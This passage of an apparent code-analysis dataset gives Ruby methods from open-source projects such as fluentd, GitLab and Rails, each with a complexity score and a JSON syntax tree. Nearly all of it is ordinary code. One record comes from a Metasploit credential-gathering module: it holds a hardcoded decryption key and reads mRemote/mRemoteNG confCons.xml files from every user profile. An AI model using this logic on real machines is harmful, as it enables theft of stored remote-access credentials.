end","complexity_score":25.6,"ast_json":"{\"type\":\"def\",\"children\":[\"typename_editor\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"typename\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Graphlyte\"]},\"Syntax\"]},\"Field\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"__typename\"]}]}]}]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@editor\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Graphlyte\"]},\"Editor\"]},\"new\"]},\"on_field\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"field\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"is_typename\",{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"field\"]},\"selection\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"field\"]},\"selection\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]}]}]},\"include?\",{\"type\":\"str\",\"children\":[\"__typename\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"field\"]},\"selection\"]},\"empty?\"]},{\"type\":\"lvar\",\"children\":[\"is_typename\"]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"field\"]},\"selection\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"typename\"]}]}]}]}]}]}]}]}","id":"6c38a1a3-d102-4919-a622-161c0685bef3"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/plugin/buffer.rb","start_line":675,"raw_source":"def write_once(metadata, data, format: nil, size: nil, &block)\n        return if data.empty?\n\n        stored = false\n        adding_bytesize = nil\n\n        chunk = synchronize { @stage[metadata] ||= generate_chunk(metadata).staged! }\n        enqueue_chunk_before_retry = false\n        chunk.synchronize do\n          # retry this method if chunk is already queued (between getting chunk and entering critical section)\n          raise ShouldRetry unless chunk.staged?\n\n          empty_chunk = chunk.empty?\n\n          original_bytesize = chunk.bytesize\n          begin\n            if format\n              serialized = format.call(data)\n              chunk.concat(serialized, size ? size.call : data.size)\n            else\n              chunk.append(data, compress: @compress)\n            end\n            adding_bytesize = chunk.bytesize - original_bytesize\n\n            if chunk_size_over?(chunk)\n              if format && empty_chunk\n                if chunk.bytesize > @chunk_limit_size\n                  log.warn \"chunk bytes limit exceeds for an emitted event stream: #{adding_bytesize}bytes\"\n                else\n                  log.warn \"chunk size limit exceeds for an emitted event stream: #{chunk.size}records\"\n                end\n              end\n              chunk.rollback\n\n              if format && !empty_chunk\n                # Event streams should be appended into a chunk at once\n                # as far as possible, to improve performance of formatting.\n                # Event stream may be a MessagePackEventStream. We don't want to split it into\n                # 2 or more chunks (except for a case that the event stream is larger than chunk limit).\n                enqueue_chunk_before_retry = true\n                raise ShouldRetry\n              end\n            else\n              stored = true\n            end\n          rescue\n            chunk.rollback\n            raise\n          end\n\n          if stored\n            block.call(chunk, adding_bytesize)\n          end\n        end\n\n        unless stored\n          # try step-by-step appending if data can't be stored into existing a chunk in non-bulk mode\n          #\n          # 1/10 size of original event stream (splits_count == 10) seems enough small\n          # to try emitting events into existing chunk.\n          # it does not matter to split event stream into very small splits, because chunks have less\n          # overhead to write data many times (even about file buffer chunks).\n          write_step_by_step(metadata, data, format, 10, &block)\n        end\n      rescue ShouldRetry\n        enqueue_chunk(metadata) if enqueue_chunk_before_retry\n        retry\n      end","complexity_score":95.88,"ast_json":"{\"type\":\"def\",\"children\":[\"write_once\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"metadata\"]},{\"type\":\"arg\",\"children\":[\"data\"]},{\"type\":\"kwoptarg\",\"children\":[\"format\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"size\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"empty?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"stored\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"adding_bytesize\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"chunk\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"synchronize\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@stage\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"metadata\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"generate_chunk\",{\"type\":\"lvar\",\"children\":[\"metadata\"]}]},\"staged!\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"enqueue_chunk_before_retry\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"chunk\"]},\"synchronize\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"chunk\"]},\"staged?\"]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ShouldRetry\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"empty_chunk\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"chunk\"]},\"empty?\"]}]},{\"type\":\"lvasgn\",\"children\":[\"original_bytesize\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"chunk\"]},\"bytesize\"]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"format\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"serialized\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"format\"]},\"call\",{\"type\":\"lvar\",\"children\":[\"data\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"chunk\"]},\"concat\",{\"type\":\"lvar\",\"children\":[\"serialized\"]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"size\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"size\"]},\"call\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"size\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"chunk\"]},\"append\",{\"type\":\"lvar\",\"children\":[\"data\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"compress\"]},{\"type\":\"ivar\",\"children\":[\"@compress\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"adding_bytesize\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"chunk\"]},\"bytesize\"]},\"-\",{\"type\":\"lvar\",\"children\":[\"original_bytesize\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"chunk_size_over?\",{\"type\":\"lvar\",\"children\":[\"chunk\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"format\"]},{\"type\":\"lvar\",\"children\":[\"empty_chunk\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"chunk\"]},\"bytesize\"]},\">\",{\"type\":\"ivar\",\"children\":[\"@chunk_limit_size\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"log\"]},\"warn\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"chunk bytes limit exceeds for an emitted event stream: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"adding_bytesize\"]}]},{\"type\":\"str\",\"children\":[\"bytes\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"log\"]},\"warn\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"chunk size limit exceeds for an emitted event stream: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"chunk\"]},\"size\"]}]},{\"type\":\"str\",\"children\":[\"records\"]}]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"chunk\"]},\"rollback\"]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"format\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"empty_chunk\"]},\"!\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"enqueue_chunk_before_retry\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ShouldRetry\"]}]}]},null]}]},{\"type\":\"lvasgn\",\"children\":[\"stored\",{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"resbody\",\"children\":[null,null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"chunk\"]},\"rollback\"]},{\"type\":\"send\",\"children\":[null,\"raise\"]}]}]},null]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stored\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]},\"call\",{\"type\":\"lvar\",\"children\":[\"chunk\"]},{\"type\":\"lvar\",\"children\":[\"adding_bytesize\"]}]},null]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stored\"]},null,{\"type\":\"send\",\"children\":[null,\"write_step_by_step\",{\"type\":\"lvar\",\"children\":[\"metadata\"]},{\"type\":\"lvar\",\"children\":[\"data\"]},{\"type\":\"lvar\",\"children\":[\"format\"]},{\"type\":\"int\",\"children\":[10]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ShouldRetry\"]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"enqueue_chunk_before_retry\"]},{\"type\":\"send\",\"children\":[null,\"enqueue_chunk\",{\"type\":\"lvar\",\"children\":[\"metadata\"]}]},null]},{\"type\":\"retry\",\"children\":[]}]}]},null]}]}","id":"b83f326d-1bd2-40d8-8305-4d9fba29de0a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/api/feature_flags.rb","start_line":202,"raw_source":"def authorize_create_feature_flag!\n        authorize! :create_feature_flag, user_project\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"authorize_create_feature_flag!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"authorize!\",{\"type\":\"sym\",\"children\":[\"create_feature_flag\"]},{\"type\":\"send\",\"children\":[null,\"user_project\"]}]}]}","id":"055504a4-76cd-451e-a395-5b70de557c7c"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/autosave_association_test.rb","start_line":760,"raw_source":"def should_be_favorite\n          errors.add(:base, \"should be favorite\") unless favorite?\n        end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"should_be_favorite\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"favorite?\"]},null,{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"errors\"]},\"add\",{\"type\":\"sym\",\"children\":[\"base\"]},{\"type\":\"str\",\"children\":[\"should be favorite\"]}]}]}]}","id":"14cffe10-7024-431c-b5fd-1cdb4ac56641"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/windows/gather/credentials/mremote.rb","start_line":41,"raw_source":"def run\n    @secret = \"\\xc8\\xa3\\x9d\\xe2\\xa5\\x47\\x66\\xa0\\xda\\x87\\x5f\\x79\\xaa\\xf1\\xaa\\x8c\"\n\n    grab_user_profiles.each do |user|\n      next if user['LocalAppData'].nil?\n\n      tmpath = user['LocalAppData'] + '\\\\Felix_Deimel\\\\mRemote\\\\confCons.xml'\n      ng_path = user['AppData'] + '\\\\mRemoteNG\\\\confCons.xml'\n      get_xml(tmpath)\n      get_xml(ng_path)\n    end\n  end","complexity_score":18.0,"ast_json":"{\"type\":\"def\",\"children\":[\"run\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"grab_user_profiles\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"[]\",{\"type\":\"str\",\"children\":[\"LocalAppData\"]}]},\"nil?\"]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"tmpath\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"[]\",{\"type\":\"str\",\"children\":[\"LocalAppData\"]}]},\"+\",{\"type\":\"str\",\"children\":[\"\\\\Felix_Deimel\\\\mRemote\\\\confCons.xml\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"ng_path\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"[]\",{\"type\":\"str\",\"children\":[\"AppData\"]}]},\"+\",{\"type\":\"str\",\"children\":[\"\\\\mRemoteNG\\\\confCons.xml\"]}]}]},{\"type\":\"send\",\"children\":[null,\"get_xml\",{\"type\":\"lvar\",\"children\":[\"tmpath\"]}]},{\"type\":\"send\",\"children\":[null,\"get_xml\",{\"type\":\"lvar\",\"children\":[\"ng_path\"]}]}]}]}]}","id":"73d346f0-498c-4f5a-9564-8f15b6a109d8"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/associations/association.rb","start_line":147,"raw_source":"def remove_inverse_instance(record)\n        if inverse = inverse_association_for(record)\n          inverse.inversed_from(nil)\n        end\n      end","complexity_score":4.1,"ast_json":"{\"type\":\"def\",\"children\":[\"remove_inverse_instance\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"record\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"inverse\",{\"type\":\"send\",\"children\":[null,\"inverse_association_for\",{\"type\":\"lvar\",\"children\":[\"record\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"inverse\"]},\"inversed_from\",{\"type\":\"nil\",\"children\":[]}]},null]}]}","id":"b73b77da-1d98-4c93-86bc-304fe6810e07"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/ml/create_model_version_service.rb","start_line":56,"raw_source":"def find_or_create_candidate\n      if @candidate_id # global id\n        candidate = ::Ml::Candidate.with_project_id_and_id(@model.project_id, @candidate_id.model_id)\n        error(_(\"Run with id not found\")) unless candidate\n      elsif @candidate_eid\n        candidate = ::Ml::Candidate.with_project_id_and_eid(@model.project_id, @candidate_eid)\n        error(_(\"Run with eid not found\")) unless candidate\n      end\n\n      if candidate\n        error(_(\"Run has already a model version\")) if candidate.model_version_id\n\n        candidate.update! model_version: @model_version, experiment: @model.default_experiment\n\n        package = candidate.package\n        package.update!(name: @model_version.name, version: @model_version.version) if package\n        candidate\n      else\n        ::Ml::CreateCandidateService.new(\n          @model.default_experiment,\n          { model_version: @model_version }\n        ).execute\n      end\n    end","complexity_score":40.3,"ast_json":"{\"type\":\"def\",\"children\":[\"find_or_create_candidate\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@candidate_id\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"candidate\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Ml\"]},\"Candidate\"]},\"with_project_id_and_id\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@model\"]},\"project_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@candidate_id\"]},\"model_id\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"candidate\"]},null,{\"type\":\"send\",\"children\":[null,\"error\",{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"Run with id not found\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@candidate_eid\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"candidate\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Ml\"]},\"Candidate\"]},\"with_project_id_and_eid\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@model\"]},\"project_id\"]},{\"type\":\"ivar\",\"children\":[\"@candidate_eid\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"candidate\"]},null,{\"type\":\"send\",\"children\":[null,\"error\",{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"Run with eid not found\"]}]}]}]}]},null]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"candidate\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"candidate\"]},\"model_version_id\"]},{\"type\":\"send\",\"children\":[null,\"error\",{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"Run has already a model version\"]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"candidate\"]},\"update!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"model_version\"]},{\"type\":\"ivar\",\"children\":[\"@model_version\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"experiment\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@model\"]},\"default_experiment\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"package\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"candidate\"]},\"package\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"package\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"package\"]},\"update!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@model_version\"]},\"name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"version\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@model_version\"]},\"version\"]}]}]}]},null]},{\"type\":\"lvar\",\"children\":[\"candidate\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Ml\"]},\"CreateCandidateService\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@model\"]},\"default_experiment\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"model_version\"]},{\"type\":\"ivar\",\"children\":[\"@model_version\"]}]}]}]},\"execute\"]}]}]}]}","id":"ba0f4dff-498e-4338-90a1-9bed5e6879f4"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/releases/update_service.rb","start_line":58,"raw_source":"def empty_params?\n      params.except(:tag).empty?\n    end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"empty_params?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"except\",{\"type\":\"sym\",\"children\":[\"tag\"]}]},\"empty?\"]}]}","id":"76ae3846-34aa-422a-938d-47309de0434a"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/tenant.rb","start_line":71,"raw_source":"def self.with_current_tenant\n    current_tenant = User.current_user.current_tenant\n    where(:id => current_tenant.id)\n  end","complexity_score":5.4,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"with_current_tenant\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"current_tenant\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"current_user\"]},\"current_tenant\"]}]},{\"type\":\"send\",\"children\":[null,\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"current_tenant\"]},\"id\"]}]}]}]}]}]}","id":"04d50232-ad01-49c1-b083-4a6877e7f563"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/bookmark_query.rb","start_line":29,"raw_source":"def initialize(user:, guardian: nil, search_term: nil, page: nil, per_page: nil)\n    @user = user\n    @search_term = search_term\n    @guardian = guardian || Guardian.new(@user)\n    @page = page ? page.to_i : 0\n    @per_page = per_page ? per_page.to_i : 20\n    @count = 0\n  end","complexity_score":12.58,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"user\"]},{\"type\":\"kwoptarg\",\"children\":[\"guardian\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"search_term\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"page\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"per_page\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@user\",{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@search_term\",{\"type\":\"lvar\",\"children\":[\"search_term\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@guardian\",{\"type\":\"or\",\"children\":[{\"type\":\"lvar\",\"children\":[\"guardian\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Guardian\"]},\"new\",{\"type\":\"ivar\",\"children\":[\"@user\"]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@page\",{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"page\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"page\"]},\"to_i\"]},{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@per_page\",{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"per_page\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"per_page\"]},\"to_i\"]},{\"type\":\"int\",\"children\":[20]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@count\",{\"type\":\"int\",\"children\":[0]}]}]}]}","id":"96fc3c39-6a18-4549-9fc6-2a0d2523c9f3"}
{"repo_name":"rails","file_path":"./repos/rails/activemodel/test/cases/serialization_test.rb","start_line":60,"raw_source":"def test_method_serializable_hash_should_work_with_only_option\n    expected = { \"name\" => \"David\" }\n    assert_equal expected, @user.serializable_hash(only: [:name])\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_method_serializable_hash_should_work_with_only_option\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"expected\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"David\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"expected\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@user\"]},\"serializable_hash\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"only\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]}]}]}]}]}]}]}]}","id":"59e7f5e9-cbf2-4904-adb4-b8f2d805da3d"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/lib/action_view/helpers/form_tag_helper.rb","start_line":307,"raw_source":"def hidden_field_tag(name, value = nil, options = {})\n        html_options = options.merge(type: :hidden)\n        unless ActionView::Base.remove_hidden_field_autocomplete\n          html_options[:autocomplete] = \"off\" unless html_options.key?(:autocomplete)\n        end\n        text_field_tag(name, value, html_options)\n      end","complexity_score":10.4,"ast_json":"{\"type\":\"def\",\"children\":[\"hidden_field_tag\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"optarg\",\"children\":[\"value\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"html_options\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"sym\",\"children\":[\"hidden\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionView\"]},\"Base\"]},\"remove_hidden_field_autocomplete\"]},null,{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"html_options\"]},\"key?\",{\"type\":\"sym\",\"children\":[\"autocomplete\"]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"html_options\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"autocomplete\"]},{\"type\":\"str\",\"children\":[\"off\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"text_field_tag\",{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"value\"]},{\"type\":\"lvar\",\"children\":[\"html_options\"]}]}]}]}","id":"ac9fc9da-f353-40b3-aeb8-885ae42ce7fe"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/controllers/statuses_controller.rb","start_line":25,"raw_source":"def show\n    respond_to do |format|\n      format.html do\n        expires_in 10.seconds, public: true if current_account.nil?\n      end\n\n      format.json do\n        expires_in 3.minutes, public: true if @status.distributable? && public_fetch_mode?\n        render_with_cache json: @status, content_type: 'application/activity+json', serializer: ActivityPub::NoteSerializer, adapter: ActivityPub::Adapter\n      end\n    end\n  